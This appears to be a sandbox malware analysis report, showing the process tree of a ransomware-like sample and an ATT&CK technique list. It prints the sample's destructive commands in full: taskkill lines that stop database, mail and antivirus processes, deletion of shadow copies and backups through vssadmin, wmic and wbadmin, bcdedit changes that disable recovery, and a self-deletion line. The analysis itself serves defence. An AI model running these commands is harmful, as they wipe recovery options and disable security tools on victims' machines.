- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im oracle.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3476
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im outlook.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3500
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im powerpnt.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3524
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im sqbcoreservice.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3548
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im sqlagent.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3572
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im sqlbrowser.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3596
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im sqlservr.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3620
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im sqlwriter.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3644
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im steam.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3668
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im synctime.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3692
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im tbirdconfig.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3716
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im thebat.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3740
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im thebat64.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3764
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im thunderbird.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3788
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im visio.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3812
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im winword.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3836
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im wordpad.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3860
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im xfssvccon.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3884
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im tmlisten.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3908
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im PccNTMon.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3932
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im CNTAoSMgr.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3956
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im Ntrtscan.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:3980
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im mbamtray.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:4004
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im Cmd.exe >NUL 2> 1
  2⤵
  - Kills process with taskkill
  PID:4028
- C:\Windows\system32\vssadmin.exe
  vssadmin Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4052
- C:\Windows\system32\vssadmin.exe
  vssadmin Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3264
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3352
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3372
- C:\Windows\system32\wbadmin.exe
  wbadmin DELETE SYSTEMSTATEBACKUP
  2⤵
  - Deletes System State backups
  - Drops file in Windows directory
  PID:3388
- C:\Windows\system32\wbadmin.exe
  wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
  2⤵
  - Deletes System State backups
  - Drops file in Windows directory
  PID:3468
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY DELETE /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3520
- C:\Windows\SysWOW64\Cmd.exe
  Cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
  2⤵
  - Deletes itself
  PID:3820
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 1 -w 3000
    3⤵
    - Runs ping.exe
    PID:3844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3388-118-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads